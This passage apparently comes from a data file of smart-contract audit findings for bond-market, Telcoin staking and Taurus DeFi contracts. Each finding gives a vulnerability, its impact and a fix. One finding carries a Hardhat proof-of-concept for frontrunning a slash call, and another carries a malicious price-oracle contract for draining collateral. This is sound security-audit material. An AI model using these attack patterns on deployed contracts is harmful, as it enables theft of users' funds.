implementation has two point that worth noting,\\nthe first point is the deadline check\\n```\\nmodifier ensure(uint deadline) {\\n require(deadline >= block.timestamp, 'UniswapV2Router: EXPIRED');\\n _;\\n}\\n```\\n\\nThe transaction can be pending in mempool for a long time and can be executed in a long time after the user submit the transaction.\\nProblem is createMarket, which calculates the length and maxPayout by block.timestamp inside it.\\n```\\n // Calculate market length and check time bounds\\n uint48 length = uint48(params_.conclusion - block.timestamp); \\\\n if (\\n length < minMarketDuration ||\\n params_.depositInterval < minDepositInterval ||\\n params_.depositInterval > length\\n ) revert Auctioneer_InvalidParams();\\n\\n // Calculate the maximum payout amount for this market, determined by deposit interval\\n uint256 capacity = params_.capacityInQuote\\n ? params_.capacity.mulDiv(scale, price)\\n : params_.capacity;\\n market.maxPayout = capacity.mulDiv(uint256(params_.depositInterval), uint256(length));\\n```\\n\\nAfter the market is created at wrong time, user can call purchase. At purchaseBond(),\\n```\\n // Payout for the deposit = amount / price\\n //\\n // where:\\n // payout = payout tokens out\\n // amount = quote tokens in\\n // price = quote tokens : payout token (i.e. 200 QUOTE : BASE), adjusted for scaling\\n payout = amount_.mulDiv(term.scale, price);\\n\\n // Payout must be greater than user inputted minimum\\n if (payout < minAmountOut_) revert Auctioneer_AmountLessThanMinimum();\\n\\n // Markets have a max payout amount, capping size because deposits\\n // do not experience slippage. max payout is recalculated upon tuning\\n if (payout > market.maxPayout) revert Auctioneer_MaxPayoutExceeded();\\n```\\n\\npayout value is calculated by term.scale which the market owner has set assuming the market would be created at desired timestamp. Even, maxPayout is far bigger than expected, as it is calculated by very small length. | Use deadline, like uniswap | Even though the market owner close the market at any time, malicious user can attack the market before close and steal unexpectedly large amount of payout Tokens. | ```\\n// **** ADD LIQUIDITY ****\\nfunction _addLiquidity(\\n address tokenA,\\n address tokenB,\\n uint amountADesired,\\n uint amountBDesired,\\n uint amountAMin,\\n uint amountBMin\\n) internal virtual returns (uint amountA, uint amountB) {\\n // create the pair if it doesn't exist yet\\n if (IUniswapV2Factory(factory).getPair(tokenA, tokenB) == address(0)) {\\n IUniswapV2Factory(factory).createPair(tokenA, tokenB);\\n }\\n (uint reserveA, uint reserveB) = UniswapV2Library.getReserves(factory, tokenA, tokenB);\\n if (reserveA == 0 && reserveB == 0) {\\n (amountA, amountB) = (amountADesired, amountBDesired);\\n } else {\\n uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);\\n if (amountBOptimal <= amountBDesired) {\\n require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');\\n (amountA, amountB) = (amountADesired, amountBOptimal);\\n } else {\\n uint amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA);\\n assert(amountAOptimal <= amountADesired);\\n require(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');\\n (amountA, amountB) = (amountAOptimal, amountBDesired);\\n }\\n }\\n}\\n\\nfunction addLiquidity(\\n address tokenA,\\n address tokenB,\\n uint amountADesired,\\n uint amountBDesired,\\n uint amountAMin,\\n uint amountBMin,\\n address to,\\n uint deadline\\n) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {\\n (amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin);\\n address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);\\n TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);\\n TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);\\n liquidity = IUniswapV2Pair(pair).mint(to);\\n}\\n```\\n |
"Equilibrium price" is not used to compute the capacity (OSDA Only) | medium | "Equilibrium price" is not used to compute the capacity leading to a smaller-than-expected max payout.\\nIn OFDA, it was observed that if the capacity is denominated in the quote token, the capacity will be calculated with the discounted price.\\n```\\nFile: BondBaseOFDA.sol\\n function _createMarket(MarketParams memory params_) internal returns (uint256) {\\n..SNIP..\\n // Calculate the maximum payout amount for this market\\n uint256 capacity = params_.capacityInQuote\\n ? params_.capacity.mulDiv(\\n scale,\\n price.mulDivUp(\\n uint256(ONE_HUNDRED_PERCENT - params_.fixedDiscount),\\n uint256(ONE_HUNDRED_PERCENT)\\n )\\n )\\n : params_.capacity;\\n market.maxPayout = capacity.mulDiv(uint256(params_.depositInterval), uint256(length));\\n```\\n\\nHowever, in OSDA, if the capacity is denominated in the quote token, the capacity will be calculated with the oracle price instead of the discounted price.\\n```\\nFile: BondBaseOSDA.sol\\n function _createMarket(MarketParams memory params_) internal returns (uint256) {\\n..SNIP..\\n // Calculate the maximum payout amount for this market, determined by deposit interval\\n uint256 capacity = params_.capacityInQuote\\n ? params_.capacity.mulDiv(scale, price)\\n : params_.capacity;\\n market.maxPayout = capacity.mulDiv(uint256(params_.depositInterval), uint256(length));\\n```\\n\\nIn OSDA, it was also observed that the base discount is applied to the oracle price while calculating the price decimals because this will be the initial equilibrium price of the market. However, this "initial equilibrium price" is not used earlier when computing the capacity.\\n```\\nFile: BondBaseOSDA.sol\\n function _validateOracle(\\n uint256 id_,\\n IBondOracle oracle_,\\n ERC20 quoteToken_,\\n ERC20 payoutToken_,\\n uint48 baseDiscount_\\n )\\n..SNIP..\\n // Get the price decimals for the current oracle price\\n // Oracle price is in quote tokens per payout token\\n // E.g. if quote token is $10 and payout token is $2000,\\n // then the oracle price is 200 quote tokens per payout token.\\n // If the oracle has 18 decimals, then it would return 200 * 10^18.\\n // In this case, the price decimals would be 2 since 200 = 2 * 10^2.\\n // We apply the base discount to the oracle price before calculating\\n // since this will be the initial equilibrium price of the market.\\n int8 priceDecimals = _getPriceDecimals(\\n currentPrice.mulDivUp(\\n uint256(ONE_HUNDRED_PERCENT - baseDiscount_),\\n uint256(ONE_HUNDRED_PERCENT)\\n ),\\n oracleDecimals\\n );\\n```\\n | Applied the discount to obtain the "equilibrium price" before computing the capacity.\\n```\\n// Calculate the maximum payout amount for this market, determined by deposit interval\\nuint256 capacity = params_.capacityInQuote\\n// Remove the line below\\n ? params_.capacity.mulDiv(scale, price)\\n// Add the line below\\n ? params_.capacity.mulDiv(scale, price.mulDivUp(\\n// Add the line below\\n uint256(ONE_HUNDRED_PERCENT // Remove the line below\\n params_.baseDiscount),\\n// Add the line below\\n uint256(ONE_HUNDRED_PERCENT)\\n// Add the line below\\n )\\n// Add the line below\\n )\\n : params_.capacity;\\nmarket.maxPayout = capacity.mulDiv(uint256(params_.depositInterval), uint256(length));\\n```\\n | As the discount is not applied to the price when computing the capacity, the price will be higher which leads to a smaller capacity. A smaller capacity will in turn result in a smaller max payout. A smaller-than-expected max payout reduces the maximum number of payout tokens a user can purchase at any single point in time, which might reduce the efficiency of a Bond market.\\nUsers who want to purchase a large number of bond tokens have to break their trade into smaller chunks to overcome the smaller-than-expected max payout, leading to unnecessary delay and additional gas fees. | ```\\nFile: BondBaseOFDA.sol\\n function _createMarket(MarketParams memory params_) internal returns (uint256) {\\n..SNIP..\\n // Calculate the maximum payout amount for this market\\n uint256 capacity = params_.capacityInQuote\\n ? params_.capacity.mulDiv(\\n scale,\\n price.mulDivUp(\\n uint256(ONE_HUNDRED_PERCENT - params_.fixedDiscount),\\n uint256(ONE_HUNDRED_PERCENT)\\n )\\n )\\n : params_.capacity;\\n market.maxPayout = capacity.mulDiv(uint256(params_.depositInterval), uint256(length));\\n```\\n |
`slash` calls can be blocked, allowing malicious users to bypass the slashing mechanism. | medium | A malicious user can block slashing by frontrunning `slash` with a call to `stake(1)` at the same block, allowing him to keep blocking calls to `slash` while waiting for his withdraw delay, effectively bypassing the slashing mechanism.\\nStakingModule's `checkpointProtection` modifier reverts certain actions, like claims, if the accounts' stake was previously modified in the same block. A malicious user can exploit this to intentionally block calls to `slash`.\\nConsider the following scenario, where Alice has `SLASHER_ROLE` and Bob is the malicious user.\\nAlice calls `slash` on Bob's account.\\nBob sees the transaction on the mempool and tries to frontrun it by staking 1 TEL. (See Proof of Concept section below for a simplified example of this scenario)\\nIf Bob stake call is processed first (he can pay more gas to increase his odds of being placed before than Alice), his new stake is pushed to `_stakes[address(Bob)]`, and his latest checkpoint (_stakes[address(Bob)]._checkpoints[numCheckpoints - 1]) `blockNumber` field is updated to the current `block.number`. So when `slash` is being processed in the same block and calls internally `_claimAndExit` it will revert due to the `checkpointProtection` modifier check (See code snippet below).\\n```\\nmodifier checkpointProtection(address account) {\\n uint256 numCheckpoints = _stakes[account]._checkpoints.length;\\n require(numCheckpoints == 0 || _stakes[account]._checkpoints[numCheckpoints - 1]._blockNumber != block.number, "StakingModule: Cannot exit in the same block as another stake or exit");\\n _;\\n}\\n```\\n\\nBob can do this indefinitely, eventually becoming a gas war between Alice and Bob or until Alice tries to use Flashbots Protect or similar services to avoid the public mempool. More importantly, this can be leverage to block all `slash` attempts while waiting the time required to withdraw, so the malicious user could call `requestWithdrawal()`, then keep blocking all future `slash` calls while waiting for his `withdrawalDelay`, then proceed to withdraws his stake when `block.timestamp > withdrawalRequestTimestamps[msg.sender] + withdrawalDelay`. Therefore bypassing the slashing mechanism.\\nIn this modified scenario\\nAlice calls `slash` on Bob's account.\\nBob sees the transaction on the mempool and tries to frontrun it by staking 1 TEL.\\nBob requests his withdraw (requestWithdrawal())\\nBob keeps monitoring the mempool for future calls to `slash` against his account, trying to frontrun each one of them.\\nWhen enough time has passed so that his withdraw is available, Bob calls `exit` or `fullClaimAndExit` | Consider implementing a specific version of `_claimAndExit` without the `checkpointProtection` modifier, to be used inside the `slash` function. | Slashing calls can be blocked by malicious user, allowing him to request his withdraw, wait until withdraw delay has passed (while blocking further calls to slash) and then withdraw his funds.\\nClassify this one as medium severity, because even though there are ways to avoid being frontrunned, like paying much more gas or using services like Flashbots Protect, none is certain to work because the malicious user can use the same methods to their advantage. And if the malicious user is successful, this would result in loss of funds to the protocol (i.e funds that should have been slashed, but user managed to withdraw them)\\nProof of Concept\\nThe POC below shows that staking prevents any future call to `slash` on the same block. To reproduce this POC just copy the code to a file on the test/ folder and run it.\\n```\\nconst { expect } = require("chai")\\nconst { ethers, upgrades } = require("hardhat")\\n\\nconst emptyBytes = []\\n\\ndescribe("POC", () => {\\n let deployer\\n let alice\\n let bob\\n let telContract\\n let stakingContract\\n let SLASHER_ROLE\\n\\n beforeEach("setup", async () => {\\n [deployer, alice, bob] = await ethers.getSigners()\\n\\n //Deployments\\n const TELFactory = await ethers.getContractFactory("TestTelcoin", deployer)\\n const StakingModuleFactory = await ethers.getContractFactory(\\n "StakingModule",\\n deployer\\n )\\n telContract = await TELFactory.deploy(deployer.address)\\n await telContract.deployed()\\n stakingContract = await upgrades.deployProxy(StakingModuleFactory, [\\n telContract.address,\\n 3600,\\n 10\\n ])\\n\\n //Grant SLASHER_ROLE to Alice\\n SLASHER_ROLE = await stakingContract.SLASHER_ROLE()\\n await stakingContract\\n .connect(deployer)\\n .grantRole(SLASHER_ROLE, alice.address)\\n\\n //Send some TEL tokens to Bob\\n await telContract.connect(deployer).transfer(bob.address, 1)\\n\\n //Setup approvals\\n await telContract\\n .connect(bob)\\n .approve(stakingContract.address, 1)\\n })\\n\\n describe("POC", () => {\\n it("should revert during slash", async () => {\\n //Disable auto-mining and set interval to 0 necessary to guarantee both transactions\\n //below are mined in the same block, reproducing the frontrunning scenario.\\n await network.provider.send("evm_setAutomine", [false]);\\n await network.provider.send("evm_setIntervalMining", [0]);\\n\\n //Bob stakes 1 TEL\\n await stakingContract\\n .connect(bob)\\n .stake(1)\\n\\n //Turn on the auto-mining, so that after the next transaction is sent, the block is mined.\\n await network.provider.send("evm_setAutomine", [true]);\\n \\n //Alice tries to slash Bob, but reverts.\\n await expect(stakingContract\\n .connect(alice)\\n .slash(bob.address, 1, stakingContract.address, emptyBytes)).to.be.revertedWith(\\n "StakingModule: Cannot exit in the same block as another stake or exit"\\n )\\n })\\n })\\n})\\n```\\n | ```\\nmodifier checkpointProtection(address account) {\\n uint256 numCheckpoints = _stakes[account]._checkpoints.length;\\n require(numCheckpoints == 0 || _stakes[account]._checkpoints[numCheckpoints - 1]._blockNumber != block.number, "StakingModule: Cannot exit in the same block as another stake or exit");\\n _;\\n}\\n```\\n |
FeeBuyback.submit() method may fail if all allowance is not used by referral contract | medium | Inside `submit()` method of `FeeBuyback.sol`, if token is `_telcoin` then it safeApprove to `_referral` contract. If `_referral` contract do not use all allowance then `submit()` method will fail in next call.\\n`SafeApprove()` method of library `SafeERC20Upgradeable` revert in following scenario.\\n```\\nrequire((value == 0) || (token.allowance(address(this), spender) == 0), \\n"SafeERC20: approve from non-zero to non-zero allowance");\\n```\\n\\nSubmit method is doing `safeApproval` of Telcoin to referral contract. If referral contract do not use full allowance then subsequent call to `submit()` method will fails because of `SafeERC20: approve from non-zero to non-zero allowance`. `FeeBuyback` contract should not trust or assume that referral contract will use all allowance. If it does not use all allowance in `increaseClaimableBy()` method then `submit()` method will revert in next call. This vulnerability exists at two places in `submit()` method. Link given in code snippet section. | Reset allowance to 0 before non-zero approval.\\n```\\n_telcoin.safeApprove(address(_referral), 0);\\n_telcoin.safeApprove(address(_referral), _telcoin.balanceOf(address(this)));\\n```\\n | Submit() call will fail until referral contract do not use all allowance. | ```\\nrequire((value == 0) || (token.allowance(address(this), spender) == 0), \\n"SafeERC20: approve from non-zero to non-zero allowance");\\n```\\n |
Missing input validation for _rewardProportion parameter allows keeper to escalate his privileges and pay back all loans | high | They are also able to choose how much yield token to swap and what the proportion of the resulting TAU is that is distributed to users vs. not distributed in order to erase bad debt.\\nSo a `keeper` is not trusted to perform any actions that go beyond swapping yield / performing liquidations.\\nHowever there is a missing input validation for the `_rewardProportion` parameter in the `SwapHandler.swapForTau` function. This allows a keeper to "erase" all debt of users. So users can withdraw their collateral without paying any of the debt.\\nBy looking at the code we can see that `_rewardProportion` is used to determine the amount of `TAU` that `_withholdTau` is called with: Link\\n```\\n_withholdTau((tauReturned * _rewardProportion) / Constants.PERCENT_PRECISION);\\n```\\n\\nAny value of `_rewardProportion` greater than `1e18` means that more `TAU` will be distributed to users than has been burnt (aka erasing debt).\\nIt is easy to see how the `keeper` can chose the number so big that `_withholdTau` is called with a value close to `type(uint256).max` which will certainly be enough to erase all debt. | I discussed this issue with the sponsor and it is intended that the `keeper` role can freely chose the value of the `_rewardProportion` parameter within the `[0,1e18]` range, i.e. 0%-100%.\\nTherefore the fix is to simply check that `_rewardProportion` is not bigger than 1e18:\\n```\\ndiff --git a/taurus-contracts/contracts/Vault/SwapHandler.sol b/taurus-contracts/contracts/Vault/SwapHandler.sol\\nindex c04e3a4..ab5064b 100644\\n--- a/taurus-contracts/contracts/Vault/SwapHandler.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/taurus-contracts/contracts/Vault/SwapHandler.sol\\n@@ -59,6 // Add the line below\\n59,10 @@ abstract contract SwapHandler is FeeMapping, TauDripFeed {\\n revert zeroAmount();\\n }\\n \\n// Add the line below\\n if (_rewardProportion > Constants.PERCENT_PRECISION) [\\n// Add the line below\\n revert invalidRewardProportion();\\n// Add the line below\\n ]\\n// Add the line below\\n\\n // Get and validate swap adapter address\\n address swapAdapterAddress = SwapAdapterRegistry(controller).swapAdapters(_swapAdapterHash);\\n if (swapAdapterAddress == address(0)) {\\n```\\n | A `keeper` can escalate his privileges and erase all debt. This means that `TAU` will not be backed by any collateral anymore and will be worthless. | ```\\n_withholdTau((tauReturned * _rewardProportion) / Constants.PERCENT_PRECISION);\\n```\\n |
`swap()` will be reverted if `path` has more tokens. | medium | `swap()` will be reverted if `path` has more tokens, the keepers will not be able to successfully call `swapForTau()`.\\nIn test/SwapAdapters/00_UniswapSwapAdapter.ts:\\n```\\n // Get generic swap parameters\\n const basicSwapParams = buildUniswapSwapAdapterData(\\n ["0xyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy", "0xzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz"],\\n [3000],\\n testDepositAmount,\\n expectedReturnAmount,\\n 0,\\n ).swapData;\\n```\\n\\nWe will get:\\n```\\n000000000000000000000000000000000000000000000000000000024f49cbca\\n0000000000000000000000000000000000000000000000056bc75e2d63100000\\n0000000000000000000000000000000000000000000000055de6a779bbac0000\\n0000000000000000000000000000000000000000000000000000000000000080\\n000000000000000000000000000000000000000000000000000000000000002b\\nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy000bb8zzzzzzzzzzzzzzzzzz\\nzzzzzzzzzzzzzzzzzzzzzz000000000000000000000000000000000000000000\\n```\\n\\nThen the `swapOutputToken` is `_swapData[length - 41:length - 21]`.\\nBut if we have more tokens in path:\\n```\\n const basicSwapParams = buildUniswapSwapAdapterData(\\n ["0xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", "0xyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy", "0xzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz"],\\n [3000, 3000],\\n testDepositAmount,\\n expectedReturnAmount,\\n 0,\\n ).swapData;\\n```\\n\\n```\\n000000000000000000000000000000000000000000000000000000024f49cbca\\n0000000000000000000000000000000000000000000000056bc75e2d63100000\\n0000000000000000000000000000000000000000000000055de6a779bbac0000\\n0000000000000000000000000000000000000000000000000000000000000080\\n0000000000000000000000000000000000000000000000000000000000000042\\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx000bb8yyyyyyyyyyyyyyyyyy\\nyyyyyyyyyyyyyyyyyyyyyy000bb8zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz\\nzzzz000000000000000000000000000000000000000000000000000000000000\\n```\\n\\n`swapOutputToken` is `_swapData[length - 50:length - 30]`, the `swap()` function will be reverted. | Limit the swap pools, or check if the balance of `_outputToken` should exceed `_amountOutMinimum`. | The keepers will not be able to successfully call `SwapHandler.swapForTau()`. Someone will get a reverted transaction if they misuse `UniswapSwapAdapter`. | ```\\n // Get generic swap parameters\\n const basicSwapParams = buildUniswapSwapAdapterData(\\n ["0xyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy", "0xzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz"],\\n [3000],\\n testDepositAmount,\\n expectedReturnAmount,\\n 0,\\n ).swapData;\\n```\\n |
Mint limit is not reduced when the Vault is burning TAU | medium | Upon burning TAU, it incorrectly updates the `currentMinted` when Vault is acting on behalf of users.\\nWhen the burn of `TAU` is performed, it calls `_decreaseCurrentMinted` to reduce the limit of tokens minted by the Vault:\\n```\\n function _decreaseCurrentMinted(address account, uint256 amount) internal virtual {\\n // If the burner is a vault, subtract burnt TAU from its currentMinted.\\n // This has a few highly unimportant edge cases which can generally be rectified by increasing the relevant vault's mintLimit.\\n uint256 accountMinted = currentMinted[account];\\n if (accountMinted >= amount) {\\n currentMinted[msg.sender] = accountMinted - amount;\\n }\\n }\\n```\\n\\nThe issue is that it subtracts `accountMinted` (which is currentMinted[account]) from `currentMinted[msg.sender]`. When the vault is burning tokens on behalf of the user, the `account` != `msg.sender` meaning the `currentMinted[account]` is 0, and thus the `currentMinted` of Vault will be reduced by 0 making it pretty useless.\\nAnother issue is that users can transfer their `TAU` between accounts, and then `amount > accountMinted` will not be triggered. | A simple solution would be to:\\n```\\n uint256 accountMinted = currentMinted[msg.sender];\\n```\\n\\nBut I suggest revisiting and rethinking this function altogether. | `currentMinted` is incorrectly decreased upon burning so vaults do not get more space to mint new tokens. | ```\\n function _decreaseCurrentMinted(address account, uint256 amount) internal virtual {\\n // If the burner is a vault, subtract burnt TAU from its currentMinted.\\n // This has a few highly unimportant edge cases which can generally be rectified by increasing the relevant vault's mintLimit.\\n uint256 accountMinted = currentMinted[account];\\n if (accountMinted >= amount) {\\n currentMinted[msg.sender] = accountMinted - amount;\\n }\\n }\\n```\\n |
Account can not be liquidated when price fall by 99%. | medium | Liquidation fails when price fall by 99%.\\n`_calcLiquidation()` method has logic related to liquidations. This method calculate total liquidation discount, collateral to liquidate and liquidation surcharge. All these calculations looks okay in normal scenarios but there is an edge case when liquidation fails if price crashes by 99% or more. In such scenario `collateralToLiquidateWithoutDiscount` will be very large and calculated liquidation surcharge becomes greater than `collateralToLiquidate`\\n```\\nuint256 collateralToLiquidateWithoutDiscount = (_debtToLiquidate * (10 ** decimals)) / price;\\ncollateralToLiquidate = (collateralToLiquidateWithoutDiscount * totalLiquidationDiscount) / Constants.PRECISION;\\nif (collateralToLiquidate > _accountCollateral) {\\n collateralToLiquidate = _accountCollateral;\\n}\\nuint256 liquidationSurcharge = (collateralToLiquidateWithoutDiscount * LIQUIDATION_SURCHARGE) / Constants.PRECISION\\n```\\n\\nContract revert from below line hence liquidation will fail in this scenario.\\n```\\nuint256 collateralToLiquidator = collateralToLiquidate - liquidationSurcharge;\\n```\\n | Presently liquidation surcharge is calculated on `collateralToLiquidateWithoutDiscount`. Project team may want to reconsider this logic and calculate surcharge on `collateralToLiquidate` instead of `collateralToLiquidateWithoutDiscount`. This will be business decision but easy fix\\nAnother option is you may want to calculate surcharge on `Math.min(collateralToLiquidate, collateralToLiquidateWithoutDiscount)`.\\n```\\n uint256 collateralToTakeSurchargeOn = Math.min(collateralToLiquidate, collateralToLiquidateWithoutDiscount);\\n uint256 liquidationSurcharge = (collateralToTakeSurchargeOn * LIQUIDATION_SURCHARGE) / Constants.PRECISION;\\n return (collateralToLiquidate, liquidationSurcharge);\\n```\\n | Liquidation fails when price crash by 99% or more. Expected behaviour is that liquidation should be successful in all scenarios. | ```\\nuint256 collateralToLiquidateWithoutDiscount = (_debtToLiquidate * (10 ** decimals)) / price;\\ncollateralToLiquidate = (collateralToLiquidateWithoutDiscount * totalLiquidationDiscount) / Constants.PRECISION;\\nif (collateralToLiquidate > _accountCollateral) {\\n collateralToLiquidate = _accountCollateral;\\n}\\nuint256 liquidationSurcharge = (collateralToLiquidateWithoutDiscount * LIQUIDATION_SURCHARGE) / Constants.PRECISION\\n```\\n |
Protocol is will not work on most of the supported blockchains due to hardcoded WETH contract address. | medium | The WETH address is hardcoded in the `Swap` library.\\nAs stated in the README.md, the protocol will be deployed on the following EVM blockchains - Ethereum Mainnet, Arbitrum, Optimism, Polygon, Binance Smart Chain. While the project has integration tests with an ethereum mainnet RPC, they don't catch that on different chains like for example Polygon saveral functionallities will not actually work because of the hardcoded WETH address in the Swap.sol library:\\n```\\naddress internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\\n```\\n | The WETH variable should be immutable in the Vault contract instead of a constant in the Swap library and the Wrapped Native Token contract address should be passed in the Vault constructor on each separate deployment. | Protocol will not work on most of the supported blockchains. | ```\\naddress internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\\n```\\n |
A malicious admin can steal all users collateral | medium | According to Taurus contest details, all roles, including the admin `Multisig`, should not be able to drain users collateral.\\n```\\n2. Multisig. Trusted with essentially everything but user collateral. \\n```\\n\\nAs shown of `updateWrapper()` function of `PriceOracleManager.sol`, the admin (onlyOwner) can update any price oracle `_wrapperAddress` for any `_underlying` collateral without any restrictions (such as timelock).\\n```\\nFile: taurus-contracts\\contracts\\Oracle\\PriceOracleManager.sol\\n function updateWrapper(address _underlying, address _wrapperAddress) external override onlyOwner {\\n if (!_wrapperAddress.isContract()) revert notContract();\\n if (wrapperAddressMap[_underlying] == address(0)) revert wrapperNotRegistered(_wrapperAddress);\\n\\n wrapperAddressMap[_underlying] = _wrapperAddress;\\n\\n emit WrapperUpdated(_underlying, _wrapperAddress);\\n }\\n```\\n\\nHence, admin can set a malicious price oracle like\\n```\\ncontract AttackOracleWrapper is IOracleWrapper, Ownable {\\n address public attacker;\\n IGLPManager public glpManager;\\n\\n constructor(address _attacker, address glp) {\\n attacker = _attacker;\\n glpManager = IGLPManager(glp);\\n }\\n\\n function getExternalPrice(\\n address _underlying,\\n bytes calldata _flags\\n ) external view returns (uint256 price, uint8 decimals, bool success) {\\n if (tx.origin == attacker) {\\n return (1, 18, true); // @audit a really low price resulting in the liquidation of all positions\\n } else {\\n uint256 price = glpManager.getPrice();\\n return (price, 18, true);\\n }\\n }\\n}\\n```\\n\\nThen call `liquidate()` to drain out users collateral with negligible $TAU cost.\\n```\\nFile: taurus-contracts\\contracts\\Vault\\BaseVault.sol\\n function liquidate(\\n address _account,\\n uint256 _debtAmount,\\n uint256 _minExchangeRate\\n ) external onlyLiquidator whenNotPaused updateReward(_account) returns (bool) {\\n if (_debtAmount == 0) revert wrongLiquidationAmount();\\n\\n UserDetails memory accDetails = userDetails[_account];\\n\\n // Since Taurus accounts' debt continuously decreases, liquidators may pass in an arbitrarily large number in order to\\n // request to liquidate the entire account.\\n if (_debtAmount > accDetails.debt) {\\n _debtAmount = accDetails.debt;\\n }\\n\\n // Get total fee charged to the user for this liquidation. Collateral equal to (liquidated taurus debt value * feeMultiplier) will be deducted from the user's account.\\n // This call reverts if the account is healthy or if the liquidation amount is too large.\\n (uint256 collateralToLiquidate, uint256 liquidationSurcharge) = _calcLiquidation(\\n accDetails.collateral,\\n accDetails.debt,\\n _debtAmount\\n );\\n\\n // Check that collateral received is sufficient for liquidator\\n uint256 collateralToLiquidator = collateralToLiquidate - liquidationSurcharge;\\n if (collateralToLiquidator < (_debtAmount * _minExchangeRate) / Constants.PRECISION) {\\n revert insufficientCollateralLiquidated(_debtAmount, collateralToLiquidator);\\n }\\n\\n // Update user info\\n userDetails[_account].collateral = accDetails.collateral - collateralToLiquidate;\\n userDetails[_account].debt = accDetails.debt - _debtAmount;\\n\\n // Burn liquidator's Tau\\n TAU(tau).burnFrom(msg.sender, _debtAmount);\\n\\n // Transfer part of _debtAmount to liquidator and Taurus as fees for liquidation\\n IERC20(collateralToken).safeTransfer(msg.sender, collateralToLiquidator);\\n IERC20(collateralToken).safeTransfer(\\n Controller(controller).addressMapper(Constants.FEE_SPLITTER),\\n liquidationSurcharge\\n );\\n\\n emit AccountLiquidated(msg.sender, _account, collateralToLiquidate, liquidationSurcharge);\\n\\n return true;\\n }\\n```\\n | update of price oracle should be restricted with a `timelock`. | A malicious admin can steal all users collateral | ```\\n2. Multisig. Trusted with essentially everything but user collateral. \\n```\\n |
User can prevent liquidations by frontrunning the tx and slightly increasing their collateral | medium | User can prevent liquidations by frontrunning the tx and decreasing their debt so that the liquidation transaction reverts.\\nIn the liquidation transaction, the caller has to specify the amount of debt they want to liquidate, `_debtAmount`. The maximum value for that parameter is the total amount of debt the user holds:\\n```\\n function liquidate(\\n address _account,\\n uint256 _debtAmount,\\n uint256 _minExchangeRate\\n ) external onlyLiquidator whenNotPaused updateReward(_account) returns (bool) {\\n if (_debtAmount == 0) revert wrongLiquidationAmount();\\n\\n UserDetails memory accDetails = userDetails[_account];\\n\\n // Since Taurus accounts' debt continuously decreases, liquidators may pass in an arbitrarily large number in order to\\n // request to liquidate the entire account.\\n if (_debtAmount > accDetails.debt) {\\n _debtAmount = accDetails.debt;\\n }\\n\\n // Get total fee charged to the user for this liquidation. Collateral equal to (liquidated taurus debt value * feeMultiplier) will be deducted from the user's account.\\n // This call reverts if the account is healthy or if the liquidation amount is too large.\\n (uint256 collateralToLiquidate, uint256 liquidationSurcharge) = _calcLiquidation(\\n accDetails.collateral,\\n accDetails.debt,\\n _debtAmount\\n );\\n```\\n\\nIn `_calcLiquidation()`, the contract determines how much collateral to liquidate when `_debtAmount` is paid by the caller. In that function, there's a check that reverts if the caller tries to liquidate more than they are allowed to depending on the position's health.\\n```\\n function _calcLiquidation(\\n uint256 _accountCollateral,\\n uint256 _accountDebt,\\n uint256 _debtToLiquidate\\n ) internal view returns (uint256 collateralToLiquidate, uint256 liquidationSurcharge) {\\n // // rest of code \\n \\n // Revert if requested liquidation amount is greater than allowed\\n if (\\n _debtToLiquidate >\\n _getMaxLiquidation(_accountCollateral, _accountDebt, price, decimals, totalLiquidationDiscount)\\n ) revert wrongLiquidationAmount();\\n```\\n\\nThe goal is to get that if-clause to evaluate to `true` so that the transaction reverts. To modify your position's health you have two possibilities: either you increase your collateral or decrease your debt. So instead of preventing the liquidation by pushing your position to a healthy state, you only modify it slightly so that the caller's liquidation transaction reverts.\\nGiven that Alice has:\\n100 TAU debt\\n100 Collateral (price = $1 so that collateralization rate is 1) Her position can be liquidated. The max value is:\\n```\\n function _getMaxLiquidation(\\n uint256 _collateral,\\n uint256 _debt,\\n uint256 _price,\\n uint8 _decimals,\\n uint256 _liquidationDiscount\\n ) internal pure returns (uint256 maxRepay) {\\n // Formula to find the liquidation amount is as follows\\n // [(collateral * price) - (liqDiscount * liqAmount)] / (debt - liqAmount) = max liq ratio\\n // Therefore\\n // liqAmount = [(max liq ratio * debt) - (collateral * price)] / (max liq ratio - liqDiscount)\\n maxRepay =\\n ((MAX_LIQ_COLL_RATIO * _debt) - ((_collateral * _price * Constants.PRECISION) / (10 ** _decimals))) /\\n (MAX_LIQ_COLL_RATIO - _liquidationDiscount);\\n\\n // Liquidators cannot repay more than the account's debt\\n if (maxRepay > _debt) {\\n maxRepay = _debt;\\n }\\n\\n return maxRepay;\\n }\\n```\\n\\n$(1.3e18 * 100e18 - (100e18 * 1e18 * 1e18) / 1e18) / 1.3e18 = 23.07e18$ (leave out liquidation discount for easier math)\\nThe liquidator will probably use the maximum amount they can liquidate and call `liquidate()` with `23.07e18`. Alice frontruns the liquidator's transaction and increases the collateral by `1`. That will change the max liquidation amount to: $(1.3e18 * 100e18 - 101e18 * 1e18) / 1.3e18 = 22.3e18$.\\nThat will cause `_calcLiquidation()` to revert because `23.07e18 > 22.3e18`.\\nThe actual amount of collateral to add or debt to decrease depends on the liquidation transaction. But, generally, you would expect the liquidator to liquidate as much as possible. Thus, you only have 